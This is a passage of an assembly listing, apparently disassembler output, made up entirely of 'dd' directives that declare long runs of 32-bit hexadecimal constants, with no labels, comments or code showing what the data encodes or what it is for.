		dd 29D460B2h, 0FEC1EE5Dh, 23244EB0h, 0CD22F89Bh, 2E879D3Ch
		dd 69DE6B31h, 0F741FF5Ah, 0C7210BFCh, 0FCE8BD61h, 56A3810h
		dd 0ADD52385h, 44B09457h, 84A514F7h, 67BF11A0h,	9FF12FD7h
		dd 0CB94D4A7h, 0DB13707Bh, 0FA6CB771h, 5D035302h, 0F8062DFCh
		dd 0E599F43Ah, 0C07E1D57h, 237410C6h, 2FE1BEFCh, 649A25E8h
		dd 184229EAh, 65DF3642h, 975EAF10h, 50C9F48Dh, 240F57E0h
		dd 0A657DB84h, 5C88C096h, 37A4FF38h, 5D906834h,	52B93912h
		dd 0DC9720B6h, 0FFFC7B50h, 0C04CE6A7h, 64685782h, 186835B5h
		dd 3804C640h, 4619D2Ah,	0F728C396h, 0C82B05E6h,	18E44B4Fh
		dd 9C68147Fh, 0B00CA834h, 23D08C51h, 0A8564F88h, 0B577741Eh
		dd 23988CEEh, 2BE40258h, 3FBB0E69h, 0C741703h, 800B91E8h
		dd 308F083Ch, 0F4754880h, 99935040h, 0F2AB4534h, 4812D063h
		dd 7C342B2Fh, 7820C454h, 0C999ECFCh, 0FD9B4B24h, 9CA00E13h
		dd 20FE9A51h, 929E7120h, 2D03C988h, 39AC22FFh, 221E8C9Dh
		dd 70228BA0h, 306812A4h, 8E19A64Fh, 0A01BB484h,	8D42D858h
		dd 5F976A90h, 618C97E4h, 6A711C19h, 15198B34h, 0AB14181Ch
		dd 0B9F06B80h, 4EA7DE2Ch, 77070C3Dh, 3028B505h,	0C0B70F0Bh
		dd 0B037624h, 1251B13Ch, 9B46F24Dh, 56CD00Ch, 0EA18EE21h
		dd 2568B881h, 2964F08h
		dd 0D4F62029h, 6FE61098h, 0C6C18201h, 2BA632F8h, 24289638h
		dd 41700CE1h, 7E06EDFBh, 0DF10C738h, 2A18298Dh,	2568FC1Dh
		dd 2644EE4h, 9DFDF824h,	91A5D8A5h, 4EC4622Fh, 63574814h
		dd 0D7A41EEh, 68B75117h, 3E89A3BCh, 27F9C2BFh, 591E141Ch
		dd 776C410h, 968F86C6h,	9284158Eh, 31EC41AFh, 5CCFE04h
		dd 0E64E1C25h, 0FEF824BCh, 68847722h, 6ACA4E0Ch, 0F9EA21D3h
		dd 0FC6F200Dh, 53372584h, 16BF13DDh, 0C4C95C39h, 0C03C2643h
		dd 4D105EA5h, 0A796562Bh, 3F8A93CEh, 0BEB6E99h,	9A23D0ECh
		dd 1F43D442h, 334DC4C4h, 0C96ABCACh, 0EAE8778Bh, 0A24E8C1h
		dd 44D07850h, 0F7248C4Dh, 22CA2ADFh, 91286878h,	7218711Fh
		dd 0BD10AC44h, 0BA49357Bh, 996C58D8h, 3C6D6EC9h, 4111725h
		dd 25311070h, 99A04035h, 0A5504852h, 0FC431CA6h, 4A542D4h
		dd 0EF4CF8AEh, 342E0A8Fh, 0A61544AFh, 1BB02BECh, 0D2EE64B4h
		dd 36B0F824h, 884368FCh, 4AAA23D4h, 0E304863Ch,	0F63A3308h
		dd 33B87557h, 58CC3EF1h, 0B255D280h, 27124E94h,	0CC2B97D9h
		dd 5688829Dh, 62809C53h, 0B9E0C63Bh, 6C5E740Ch,	347B4089h
		dd 332CAE37h, 0B57D733Bh, 4877DECAh, 25026A44h,	49D1D8F7h
		dd 80332817h, 84F9E5FCh, 1914578Ah, 5956B7ECh, 0A5B87E10h
		dd 0B3DE0FF2h, 0F95633C4h, 94293767h, 71539472h, 7B89ADEDh
		dd 0CC40956h, 0AA14ED1Dh, 3C801609h, 8707F73Eh,	2FC22EC6h
		dd 49D14657h, 51AFEA45h, 0A088EB90h, 8660DC4Ch,	5AEF569Dh
		dd 0E56CD1FDh, 0B7A6FFD8h, 8538BA92h, 12C98C1Ch, 9724D218h
		dd 6AA79C7Ch, 4E3E771Eh, 7202745Bh, 0D5C73B28h,	5638114Ch
		dd 0A26851BEh, 0F04AF768h, 248C65BCh, 687B2006h, 1C79B59Ch
		dd 446C1B49h, 0D2DCF9E7h, 1E4B5671h, 4597F64Fh,	9E8A2E10h
		dd 0AE4E5E3Ch, 3D16E369h, 74FC5A0Fh, 20D6F13Ah,	1929752Fh
		dd 7E271457h, 45BF5632h, 5B3811F9h, 5F105091h, 1A3B5825h
		dd 0A7DC6B6h, 0E47907D2h, 3E716A01h, 0E6325E9Bh, 345FE844h
		dd 8C174BC0h, 319D5724h, 0E4189800h, 0E7535021h, 0DE2F08F3h
		dd 0FDC7258Eh, 0B7F2E117h, 0BFBFF417h, 0F9895C37h, 0A353172Bh
		dd 46FC8CBEh, 81508AB9h, 7C50D625h, 0B07E5AC6h,	6C16FD11h
		dd 106E8B51h, 14E2FDC8h, 32560F91h, 45FC2F5Bh, 179F94B8h
		dd 1B7D27D0h, 0D80C6ACCh, 0DFBADDFCh, 79BF19C6h, 0C32464BFh
		dd 0B76B5425h, 8E803E5Fh, 3AAEAA3Fh, 0DE631285h, 153851CCh
		dd 10708FEh, 0FC8975ACh, 58A47D88h, 0A4A0AC27h,	1F28B632h
		dd 0CF291092h, 1709A2A3h, 56F6CC08h, 0A07A9E95h, 970350AEh
		dd 4A904C53h, 48FEB0C4h, 0C75F0210h, 4C5F2080h,	2FC7A6C2h
		dd 0A5EF56ECh, 0D4BC7589h, 0C684FA83h, 4F30A8F0h, 88929F3h
		dd 8B61975Eh, 46ADC04Dh, 3161059Ah, 12920404h, 6166FF81h
		dd 0C9B8F420h, 0BB5657B9h, 0FCF4C25Ah, 0A6A626Dh, 81C39455h
		dd 0BE14BC13h, 0E9D880CCh, 4EC5CA2Ah, 497434C8h, 0DA31D0E8h
		dd 2E89C028h, 844066F2h, 0DC43C9D0h, 0B022DC16h, 0CAD442FCh
		dd 77491257h, 0A381996Ch, 91E72EC4h, 1D208177h,	0E84BE039h
		dd 7A9907Dh, 410F3C68h,	0DC25FE0Eh, 72C4E494h, 391338C6h
		dd 129DDED0h, 8BAAFF63h, 0DFED2562h, 0EA5F9F3Bh, 0EBCB43ADh
		dd 5792A57Eh, 918892Dh,	0E99293C0h, 44270B72h, 2866ED13h
		dd 38449596h, 3DFEBC21h, 1FD05D92h, 0DC0AAF48h,	54511E73h
		dd 0A152AD02h, 0F0CB374Dh, 48837186h, 726B0A9Dh, 7D586C11h
		dd 0DE8EE888h, 3F231CAFh, 7368EE5Fh, 640995EAh,	0A6839677h
		dd 575C90ADh, 6822150Fh, 0C80EEB36h, 0AAF84A8Ch, 0C8C75828h
		dd 0D4AD10B8h, 5DBE37D1h, 7DDC2A0Eh, 62C79D56h,	5F63F016h
		dd 0CCD62FEAh, 89A9B0F8h, 0BC210BECh, 52525C08h, 23BC91C9h
		dd 36FED289h, 0D048A40Eh, 8DCCA08Fh, 0E82C4FB3h, 9B47A561h
		dd 6BBF0E8Bh, 5806BB30h, 68C1CC77h, 2A411123h, 4A4D6B2Ch
		dd 2E689ED0h, 0E004B353h, 998B0A75h, 13BBF11Ch,	0D018EC10h
		dd 99947195h, 5310195Ah, 0CC36AD42h, 7E80C6DEh,	17843E2Ch
		dd 0C3D84F94h, 0DD1348EBh, 0B521CA1h, 0B582114Bh, 3669FF97h
		dd 0FC25E64Bh, 0E4256EEFh, 112823F2h, 0D87CB949h, 3551E626h
		dd 8E247C30h, 0A743F19Fh, 0BB92F0C4h, 0CDEED827h, 261123A4h
		dd 0CFCA73Fh, 66D1D1A5h, 1D844B1Bh, 909535D1h, 43B9A3C4h
		dd 0ECC9A657h, 5EDA1456h, 0EB73CF0Ch, 86785B2Ch, 89AB2C48h
		dd 11217601h, 1BA24A1Eh, 490ADC26h, 0C4AF0B7Fh,	4300AC7Ah
		dd 6B332D8Dh, 0C9D9959h, 6F7493Eh, 0EAAB1AF5h, 0CBE248Ch
		dd 8A5EBDAAh, 7563A6CCh, 0EF36FA18h, 9657919Ch,	1CC46F49h
		dd 0D41ACB90h, 51FD487Ah, 7AC503F6h, 0B60D5710h, 6A01F5BCh
		dd 6F105940h, 8D12B795h, 0A297C7ADh, 38444031h,	23746EA8h
		dd 68C13994h, 0BB275334h, 4A557746h, 0F122790Dh, 0A3E8E821h
		dd 0C2E8A6B9h, 3DF89C5Bh, 0B51BC7A4h, 0B8102830h, 4805904Ch
		dd 7A84A40h, 0DA7BE09Ah, 783C3D0Bh, 49753548h, 0FC71957Fh
		dd 0CD10F42Ah, 1F041633h, 750B0DB2h, 16F85728h,	39532029h
		dd 85D4134Ah, 0F868853Fh, 0E1C16952h, 4C091406h, 299C9423h
		dd 71E152CCh, 8A474A53h, 4F5427A0h, 0B0ABAC10h,	926A5651h
		dd 57F5AA7Ah, 0EDFBAF1Eh, 0F3837B35h, 882E0E8Ah, 4D824606h
		dd 49577410h, 284B2773h, 0EBDB7480h, 6048680Bh,	7759A269h
		dd 6F5E41B1h, 8652FE6h,	0B27CAC10h, 0FF6E5D18h,	308C682Bh
		dd 0B7ABDD25h, 519C13D2h, 5B05A462h, 0C57890A3h, 71E8FDECh
		dd 0B8895FC1h, 0F4222FDCh, 7955295Ch, 0F633C2D1h, 1D27C155h
		dd 69FC249Fh, 9FB464E2h, 269077EAh, 5F411632h, 967F12Ch
		dd 3C142975h, 0D854B82Ch, 0B50A795Ah, 53896C77h, 0E0935B94h
		dd 847E0D9Ah, 5789B042h, 0E2410CC4h, 44D27BFEh,	0BD94343Bh
		dd 0E0C8D3E6h, 2FE55252h, 0D24C0117h, 0F92C534Bh, 7C14A103h
		dd 27D09656h, 0E0A20CF0h, 4FD1F475h, 0F65842ADh, 0D9F024C5h
		dd 9C9AA5CCh, 0CAE8CB19h, 5A6B7EDEh, 0D66A7628h, 404459B3h
		dd 89C13DC4h, 0CEA841C5h, 9C24B403h, 0D093BBC8h, 40ECE62Ch
		dd 382768FBh, 21579654h, 5745FBECh, 96A0D21h, 0B8C83D39h
		dd 135CD652h, 0DC3D9C24h, 86FDEC88h, 9F11C020h,	0A3BB06C4h
		dd 408AB893h, 3710C8C8h, 5347FCECh, 43F98A93h, 5A2158A2h
		dd 753F99CFh, 98BF1CBh,	27572C1Ah, 0FA48EC50h, 0D688A2B5h
		dd 0FBF27B93h, 0F5342D15h, 915BEBAAh, 85C25B44h, 0F8C2D539h
		dd 7D8E62D5h, 7F18ED99h, 2C7980CDh, 69271475h, 0F0C3FAFFh
		dd 87A2DB33h, 0BA75CB4Ah, 0FFD9FF3Dh, 5725469Fh, 59482644h
		dd 686E987Ch, 91948F9h,	0C50F48Fh, 3CC33BD7h, 19752910h
		dd 555C42E6h, 2A4E8338h, 53EAFF0Ch, 0AB11323Ah,	0E214B21Ah
		dd 55323E2Bh, 0C3013359h, 0CD3A1476h, 52946AD2h, 8B229A06h
		dd 0FE499DBEh, 141099E8h, 802EC0Ch, 0C8BAF005h,	3626AF9h
		dd 713050h, 3574C32Bh, 2C6F4873h, 8853D506h, 81055A28h
		dd 4DBA102Fh, 0C8D75744h, 0EB0A100Dh, 293B081Bh, 8C496B04h
		dd 9D08167Fh, 34DB34CCh, 505AC464h, 32193328h, 984360Ah
		dd 0C925F04h, 64EB6365h, 3E68FF87h, 0F4C6B514h,	91FC184Fh
		dd 0B875F889h, 98F73B5Ch, 3BC745BAh, 1E68BA8Dh,	56870A9Ah
		dd 56FE6B3Eh, 7BC55616h, 0F07D6731h, 9C31AF2Ah,	7E49D3FFh
		dd 850EC534h, 0B560C08h, 9BD520EBh, 446B176h, 36FC7F9Eh
		dd 14424550h, 58F1CC8Ah
		dd 0B8BA2EEBh, 0C96CC6BDh, 1B520923h, 237E6EA3h, 160EBCA2h
		dd 0DE7E83A7h, 683F451Fh, 383132A4h, 5E42B7Dh, 215905B5h
		dd 0DFC3F818h, 0FEA527BAh, 50034331h, 0AE01368h, 24EBF268h
		dd 0A98806FCh, 0F9C6538Bh, 6A895888h, 90205144h, 6BFC88A8h
		dd 68651D0Bh, 5EADF1ACh, 624A2D52h, 0BEA824C2h,	0E8A814F1h
		dd 2973042Dh, 9DAC65B3h, 0C8B0BB88h, 0C010C406h, 0E99FBC20h
		dd 699D81Bh, 20DA0FDCh,	469DD41Dh, 5D85B0AEh, 9F7415D7h
		dd 0EC116A45h, 5638A83Fh, 68088FECh, 7C298449h,	0CEB95F95h
		dd 0CBE8A820h, 0B0F44D27h, 9EF075CDh, 0DA742D89h, 89315969h
		dd 3E1416EBh, 0B1564C23h, 0C659FC44h, 8172D99Ch, 0DCEBB068h
		dd 0A6F7BA28h, 27492C51h, 76096ACDh, 0FA55C96Ah, 3789812Ch
		dd 74128A22h, 32170462h, 0D018EED2h, 0B72A7640h, 20018DE2h
		dd 210AF980h, 0DFAD4C3h, 0C6097402h, 78500584h,	2A40F42Ch
		dd 0F0098C88h, 0D18A1246h, 72A6053Bh, 124C50D6h, 0BD778E64h
		dd 7E989886h, 0C066A516h, 358B98EBh, 0D6F4AEA4h, 6D1AEDB8h
		dd 40E0F74h, 4298CB7h, 0DCB238B4h, 0E26B09E1h, 900828FBh
		dd 4C66E39Dh, 0A2647506h, 2420840Bh, 0C52F364h,	51ED8E0Fh
		dd 763CC939h, 514DEF07h, 818ADEEBh, 0C8BE0F42h,	5328F981h
		dd 86CBE95Fh, 3B73083Ch, 7FBA5774h, 38E533Dh, 0E5B20A75h
		dd 0EB725178h, 0E6C7FB6Ch, 0C64CB21Eh, 82031C2h, 0FA0258F9h
		dd 0FC44FB24h, 0AFD000Dh, 4AEB066Ah, 2401B036h,	8F46BAA9h
		dd 980D3CE6h, 29755950h, 1B12C625h, 2EA6650Ah, 13EB0200h
		dd 2676F33Bh, 889C84Eh,	0F0402091h, 0A6595403h,	95149F8h
		dd 0B2975AB7h, 0F2550F86h, 57449FC3h, 4786EEEBh, 45F4B56h
		dd 741249E7h, 0A38FD27h, 0CDC40A01h, 0C75F404h,	0DBE1F9AAh
		dd 0F0183A23h, 0F4CAC2DCh, 0C423A90Fh, 0E68BFBD4h, 5B401020h
		dd 0FAABDE2Ch, 5927E8DDh, 0F613CCD9h, 25A88983h, 26675375h
		dd 19E6C044h, 0F011EEC8h, 0A752F8CEh, 0D953277Eh, 0FB525279h
		dd 0C43A2145h, 0C80CB2DFh, 2751A010h, 2AD12CB5h, 2D667C69h
		dd 0BF1434F5h, 0D0754148h, 1A210F96h, 27CC6033h, 0A1D13049h
		dd 0E8B72C91h, 445B547Ah, 0EC76FADCh, 8BC4136Ah, 0DE2082D8h
		dd 0EFC469CBh, 6C44758Fh, 43572338h, 2C4D05AFh,	0D080B2BEh
		dd 39C827DEh, 382BC411h, 2C88084Eh, 0D32386FFh,	2EC8441Dh
		dd 591D823h, 0FC7B31F4h, 0E5F62C56h, 0A912A75Dh, 0C08A56B2h
		dd 69C86423h, 53B40A5Ah, 0B426EDFAh, 13DF28B9h,	2C052C05h
		dd 57147582h, 0D44C02B0h, 77854A02h, 5F17A8E3h,	426EC98Dh
		dd 4455ACCEh, 68B2538h,	1305BEE1h, 0EBEE5B89h, 5052965Fh
		dd 3BB83227h, 276912E9h, 195EF3BDh, 5323106Eh, 0FB306B31h
		dd 0EA756802h, 4C17F1AAh, 628D7F62h, 3084BD80h,	0ED4C8204h
		dd 1A22326Bh, 0E002F331h, 0BC5D3820h, 89775174h, 723A75D6h
		dd 616588D1h, 0E068162Ch, 0A72BBB58h, 168299CCh, 9D88B402h
		dd 0EAC65787h, 0EC5D1250h, 1504B466h, 0E6856A53h, 74A4C4B6h
		dd 9F95AC96h, 0A0492020h, 6988F89Fh, 28926F32h,	1A328D56h
		dd 23B22934h, 284CAB56h, 17E797ECh, 0EE5D750Bh,	57C029BCh
		dd 5B475498h, 69DC1421h, 3655E48Dh, 436F8E64h, 4C43BA7Ch
		dd 0D8565AF2h, 274C155Ah, 971076A1h, 4C8A2E59h,	3EB45D43h
		dd 5BA24E18h, 0D225FA97h, 0A81D95EEh, 529D8D9Ah, 0ACC70293h
		dd 0EAA29359h, 16F6C934h, 1701EF12h, 9741039h, 30CFD72Eh
		dd 0F07201F9h, 0FFF0BD2h, 2DB59570h, 569302C8h,	74E469ACh
		dd 571B0EB7h, 90E4B232h, 53939F11h, 74C229A9h, 3492572Ch
		dd 0C527767Eh, 605F9A4Ah, 6D5C1612h, 0A64874D0h, 0FC2BD23Eh
		dd 0A84BB269h, 54EB4482h, 5C19D148h, 44AE5346h,	5C2DC3B7h
		dd 7CB1C961h, 6BA81708h, 5816825Ch, 0F2C8F0A8h,	27FC8C08h
		dd 0CE98BDF8h, 0FEE23FEFh, 0F0D6E45Fh, 6CF829Ah, 56822BF8h
		dd 7154AD03h, 5F685678h, 83E1A290h, 0CC289D39h,	881061BEh
		dd 0FF2408F8h, 0FE43A40Ch, 0A7FC8C11h, 8B29F874h, 5EFE9834h
		dd 0D6FA88h, 5650048Bh,	0F356E52Dh, 0C2164FA7h,	10D02EA8h
		dd 0FE95F0D6h, 9216C59Dh, 0C5A6AF53h, 749ED425h, 0A0B511FBh
		dd 0EB454FA7h, 41F3D612h, 0BB58562Dh, 253E14B5h, 9F5E1975h
		dd 1299C272h, 0E21057F6h, 0F0501501h, 0FC4E90AAh, 0AB9267F6h
		dd 0EC5B47B2h, 0D0FA4301h, 0EF43AAF2h, 47A6ACF5h, 6E044EF0h
		dd 5C899F39h, 0D2AED447h, 5DB8A7AEh, 8A854E9Dh,	365D24ACh
		dd 80600A59h, 0B589DA26h, 78F78826h, 0B2698447h, 5296F7A5h
		dd 0B5108EB5h, 32666F17h, 340F469Ch, 0BAA1218Eh, 288B0EC8h
		dd 4B8788CFh, 0CD0FB8FAh, 0A0891189h, 147710F4h, 1F91B511h
		dd 7582A1C4h, 93806814h, 8ABCCAB4h, 94C80A84h, 7AF4A7FBh
		dd 4E31B04Bh, 29459D38h, 5509B112h, 0FD5546AAh,	0B9A6A30Ch
		dd 0A5A2944Eh, 8C37538Eh, 8B69CA4Ah, 0C8C4DF11h, 0DAE5E498h
		dd 3841112h, 3C03896Eh,	8A2A645Dh, 0D32F8B32h, 2083ABE9h
		dd 0F5A64D8Dh, 78C4769Ah, 0BFF151F4h, 9708BF0Dh, 26BA4148h
		dd 9159FC6Eh, 0B0A715D6h, 0ED110488h, 338D8A0Dh, 32E2DB1Bh
		dd 0A02376D9h, 0FE1275C0h, 0C93224C0h, 0B98A1439h, 0EB828BC8h
		dd 99C1FE0Eh, 0F088D10h, 6C0B632h, 0AF44D7C9h, 0A6A13B7h
		dd 0C72B0914h, 59F721ADh, 28BF2B57h, 8B241C1Eh,	0FAAD6DF8h
		dd 77754952h, 0DB044714h, 0E7E12FA9h, 0B01DB02Bh, 3FB859FFh
		dd 654D319Eh, 0EC0513BFh, 168D31FCh, 2AE94DE7h,	964020F0h
		dd 404D29D6h, 8F0FF85Dh, 0EFE5775Ah, 9F568920h,	0AF81AA9Ch
		dd 490F663Bh, 13BB929Eh, 77AE69C8h, 34B7EC2h, 0C93739BBh
		dd 3DCF3F97h, 836FC370h, 38698BDh, 565E7405h, 744450BEh
		dd 2CEF0C75h, 6EFF38CCh, 805B9F7h, 0EF6BBC68h, 1B44082Ah
		dd 0CC9C4BB5h, 6A9518D2h, 28DF387Ah, 0A6C64C81h, 50FE869Dh
		dd 72066A64h, 37EB5EABh, 84569585h, 9742CCC2h, 89FDE948h
		dd 0AB9D782h, 0C1D43D09h, 0F6E0A583h, 4E6A7C74h, 3A58F526h
		dd 0FC206523h, 947C33EEh, 0CAEB6484h, 53E43428h, 23AC43C5h
		dd 4D89A158h, 510B1C56h, 802E1950h, 32BB2193h, 57EE08DDh
		dd 217D238Ah, 16184BCh,	832C7804h, 0FDA87D2Ch, 3F32CC96h
		dd 24BF1620h, 12AB7483h, 0DDCEA957h, 6573947Fh,	0FB0FD920h
		dd 6C446800h, 0C1481D99h, 6E3E8C14h, 0AEB56A5Ah, 47A5DD4Bh
		dd 102634FCh, 153F23BAh, 84DE89AAh, 3738B53Fh, 0AC52C481h
		dd 62254B73h, 6CF44CA8h, 86290F85h, 12215CADh, 8C519B64h
		dd 3456EBF8h, 34148F32h, 0A2369144h, 88451E24h,	5649B906h
		dd 0C247C559h, 0A15158BDh, 0DCA47F8Ah, 3DFDA4B0h, 0F2B080F2h
		dd 0BC638F48h, 0B8C0937Eh, 0B3FAE09Ah, 0CA9497AAh, 8551FE6Ah
		dd 0E96D4A2Eh, 54B3093Bh, 106AC5A3h, 0C0B8EE38h, 0F0BF1B0Fh
		dd 789B248Bh, 0B8B0579Ah, 8005C4F6h, 146A7B74h,	78661D22h
		dd 71F4E38h, 5E1A7E7Ah,	15AC408Eh, 7D045B0Ah, 0BD84C710h
		dd 0BB7DB0C9h, 38321B85h, 0F6E81E2Ch, 2B2E7D2Bh, 0A32902E4h
		dd 390143Ch, 41032A4h, 0B48B2114h, 9A178D94h, 58568664h
		dd 208324D7h, 8B0EC20h,	5318505Ch, 0A480064Ch, 0E0251F05h
		dd 2338AA59h, 50B93D13h, 0B3396259h, 0F31C6922h, 650E7424h
		dd 480C68E2h, 9955EB5Fh, 0F068E11Fh, 64259A6Bh,	12C354BEh
		dd 40B52EB9h, 2BD0D286h, 851DF857h, 296BDC08h, 92792772h
		dd 9C1FEBC2h, 21C45766h
		dd 89F510CBh, 714A978Dh, 0FE7E20EBh, 146774F4h,	0F54030Ah
		dd 548020Fh, 1A750404h,	7D192BEh, 0C0EBE64Bh, 0D99C50B2h
		dd 8B17E39Dh, 142A0E83h, 848A7D81h, 8C0F8697h, 0D08133E9h
		dd 0B5C93408h, 0ED75FB4Ah, 5B72AEBh, 102B4B8h, 0A19F3EEDh
		dd 3A58BC3Eh, 7625ADF2h, 0ABC1693Ah, 0A0077AF8h, 25089082h
		dd 5669855Eh, 7E5B2581h, 62AF5664h, 3084B583h, 73E60966h
		dd 0CC62F4Bh, 0D2C1E295h, 0F6E85A01h, 0E5FC8B97h, 0EBBC2014h
		dd 75A46810h, 4366B495h, 964C21D8h, 69ECF7D4h, 4F6653C3h
		dd 3CD0F2D0h, 6BD019A1h, 0E421EDDFh, 0B46475E2h, 0B51FF97Eh
		dd 869044E2h, 77F0DA4Fh, 0EFD913B7h, 93F5F9EBh,	98C74C68h
		dd 0B9539055h, 1D48B283h, 59BB53D8h, 245B1660h,	0FE2F0F07h
		dd 0A3565724h, 57239AA2h, 2890883Eh, 8ED2C2F9h,	6375560h
		dd 368BC675h, 1E135885h, 33E6D45h, 0B475F43Ah, 3D746C22h
		dd 0AA4A3C68h, 9DF59339h, 8F2C174Ch, 0C38B8601h, 687DFF33h
		dd 892C7A22h, 2721E75Dh, 0F622221h, 8AF6147h, 7A66B82Ah
		dd 14F3E359h, 0D021441Dh, 0F6034EAh, 0A7149608h, 0E6B5F958h
		dd 6240B4F9h, 61DD7F04h, 0D651745Ah, 162134FFh,	89400FABh
		dd 0FACD74F8h, 45248A27h, 0A58221D7h, 0CC2BAC4Eh, 57A15C74h
		dd 5B4A10C4h, 61AA7D58h, 0F7CB9FA7h, 4BA30727h,	0B851DAF0h
		dd 8DF92A05h, 130A0826h, 0E2E2C476h, 4FBD2DFh, 0AFC35E38h
		dd 1542A5B8h, 84EB75C4h, 75263C81h, 3068DA15h, 68C9A011h
		dd 9E48AD28h, 2011A2B0h, 18E24376h, 0A8101015h,	75898D08h
		dd 110F08B8h, 7C21A7D1h, 11119ED2h, 0E7F06896h,	0D9C86847h
		dd 50EB2A0Fh, 1546D4B8h, 0D0445BC8h, 70975E6Ch,	4217AED7h
		dd 0A780EC88h, 2A7844F5h, 54517021h, 0C876421Bh, 78955DB4h
		dd 9DACE250h, 0A8A41087h, 9444859Ch, 76F4216Ah,	0E276EC52h
		dd 0D81015E4h, 0F291CCA8h, 876AAD53h, 0BA773010h, 0BC772010h
		dd 0DC77470Ch, 0F4657715h, 13C58BA5h, 1D8C4F0Ah, 484A8625h
		dd 1AB6E8BCh, 0F6FC4920h, 0B089253Fh, 0F7893ABh, 489D8809h
		dd 9C1CF5FCh, 0F827A98h, 506747FEh, 0E27585FBh,	1525B5BDh
		dd 1A9008DDh, 0C38E7449h, 0AEABF0Fh, 517A845Dh,	45790BAEh
		dd 7FAA3275h, 0E62CA659h, 6A53E409h, 49B053B3h,	0BF09D105h
		dd 8D31C48Ah, 2C106AB4h, 8648EC4Dh, 5D101AFBh, 0E9104BD4h
		dd 4BFE4D1Ah, 0E8D666F9h, 0B72D59C1h, 0C4CA45E9h, 0E5B4FDCCh
		dd 72045FEEh, 4D59F40Fh, 94BCF84Bh, 48435E50h, 5ABB8643h
		dd 614ADFA2h, 12EC484Fh, 11811E53h, 234F2D53h, 0BD8006F0h
		dd 67F2551h, 5CD0CF66h,	3D8B0B13h, 0D6F171CCh, 1D5E353Fh
		dd 0D5BBD6C5h, 75F4E8E1h, 0F8186E61h, 139DAA74h, 1FA49219h
		dd 9FB6BD6Eh, 9A64140Ah, 0BD58544Eh, 597CDD1Eh,	0D0A43066h
		dd 7DDD867Ah, 1ED795ECh, 58B52BCEh, 219C2E26h, 6DF4C428h
		dd 5174229Ah, 592F24D4h, 347EC23Bh, 801440D0h, 0A1A05BCh
		dd 8848D0Dh, 0C6037587h, 38802000h, 0A1FD860Ah,	0DB2D383Eh
		dd 598ABF61h, 0BFA8CC7Ch, 0B5840F93h, 13A706EBh, 250AA045h
		dd 84261E3Ch, 112394F2h, 0A89386D1h, 94B9918Dh,	971424B8h
		dd 2514A32Dh, 747B1473h, 20A13967h, 37DA0903h, 0A77E008h
		dd 103665EBh, 3F79F231h, 2F8AAC90h, 0C2215131h,	0AA6E0F28h
		dd 2EC83155h, 62916F4Dh, 0FE1F6974h, 342079D4h,	85370F3Eh
		dd 95196407h, 8AD94842h, 11669323h, 0D41B5087h,	0B89B59D1h
		dd 945B843Ch, 42574B3h,	0B90B91D3h, 0C2AAD6A5h,	9030FD6Ch
		dd 79BD8C02h, 0FB5FE9ECh, 2F5FCB26h, 2CBAD7E3h,	0CB552910h
		dd 6C21928Ah, 42A473A4h, 89BE9278h, 0F1813B1Fh,	1C495620h
		dd 0FF4A5338h, 0C60255D9h, 0D834576Ch, 34640BFDh, 0C2E75670h
		dd 84C4B5D0h, 0EE051202h, 93C40E6Ah, 4D02C8FEh,	8A0EA5D6h
		dd 28FED34Ch, 0FD4B7C08h, 12D245B6h, 0A434FF70h, 85C7A10Bh
		dd 39875FC8h, 0CCB29A1Bh, 0E7884E6Ah, 0D0E02534h, 0A365D065h
		dd 0DC04D16h, 6E3651E6h, 0D47D7AC3h, 916429BAh,	0B940A33Ah
		dd 4ADEBA14h, 0D6CDEDA8h, 28124BEAh, 2AAA76C1h,	0B3C6C483h
		dd 72FFC4CCh, 0CE261410h, 0D07D2008h, 32D25D31h, 88C80D4h
		dd 0D61906D5h, 0F9DC50C9h, 88EE44CCh, 8CB2C21Ch, 2FB9993Ch
		dd 999A5704h, 0C5011B0Bh, 96123456h, 35EAEC41h,	0FDF5BAF5h
		dd 0BEC5123Fh, 98994AB6h, 0F9A882F4h, 0DD54EB02h, 1C8505DAh
		dd 38EB10C0h, 0A2344268h, 0F974A825h, 8558F427h, 22F45589h
		dd 9013020Eh, 1FD21ADAh, 70EE280h, 0C75588D1h, 18400568h
		dd 50F88690h, 0FA92ACA5h, 0C11375A5h, 82064AFEh, 91553CE8h
		dd 3F9EE47Fh, 4C61A838h, 181941BCh, 6AB80E99h, 0B0CBBCC8h
		dd 6A36C04Fh, 55135E14h, 0C47099FBh, 6F95C8CAh,	0E84069FCh
		dd 3D0342E9h, 11CA7F81h, 0ECE55D52h, 0F88B1E40h, 0A910E7C1h
		dd 57E90B0Ah, 0A8631C49h, 0C4FC34Ah, 506B6EFFh,	0D8033977h
		dd 56DC208Ch, 88148C0Eh, 10A3905Dh, 92B30691h, 0CD83032h
		dd 65988E88h, 238A206Ah, 84AAE94Eh, 0ECAE56ECh,	8422B614h
		dd 346A371Dh, 5F9A031Dh, 46FC7732h, 343E12CCh, 12D26042h
		dd 0CAF46512h, 46442974h, 0D6B22890h, 49D1A415h, 0C542D0Bh
		dd 0C4AF2DA3h, 0D9485B81h, 4501FC17h, 0E4481048h, 3BE8C007h
		dd 3C7FC8D0h, 0CA8C2F0Fh, 0E446C77Ch, 73C4131Ch, 28B5442Eh
		dd 8F5FB246h, 0CC21510Ch, 0F1271168h, 5B76C928h, 626A5D1Dh
		dd 975E7C44h, 0C37F9877h, 0EF5B4A5Fh, 25BF7224h, 0A418AAABh
		dd 0ED8B1813h, 9B49BC6Ah, 0D8B4E716h, 9DF87437h, 246729A5h
		dd 5318A657h, 2E8D2C39h, 4B043284h, 266990F5h, 6E7C9D94h
		dd 976CD4ADh, 0DD99BA58h, 5DFF9AE3h, 0BCE20CF4h, 0A27F1203h
		dd 79686AEAh, 0FE440839h, 0CE5B5832h, 3439C6Ch,	9C988902h
		dd 7EBC9D4Fh, 4B5F75F1h, 0C2443EDCh, 33477921h,	7D3590EBh
		dd 495781DCh, 0D8D9031Ch, 0FB484D2Eh, 3566B8CDh, 0B1FC909Fh
		dd 3277C875h, 0CE265723h, 9A6CF411h, 505957FAh,	5ED04D19h
		dd 794319DEh, 77689C21h, 3E644D57h, 751493DAh, 7CC86855h
		dd 5ECB685Bh, 0C4A5FD67h, 2D1FF914h, 7245D457h,	77978734h
		dd 2C4B8293h, 250881A0h, 0C4DCD6FFh, 0BF0A2B46h, 0E9D7F6h
		dd 870FD06Fh, 0A3699D94h, 0C68F741Ch, 42500525h, 80D2CE17h
		dd 1466D4ABh, 54E752A3h, 7541D15h, 64563D11h, 80415848h
		dd 48591D88h, 74885A14h, 2CEB330h, 8E3C1D8h, 0A4B0319h
		dd 94D96ACEh, 0EB5B105Ch, 0A5EFA518h, 0A394B8C5h, 78104D1Bh
		dd 14116069h, 3C72ED97h, 213C8826h, 0E655113h, 0F94BF038h
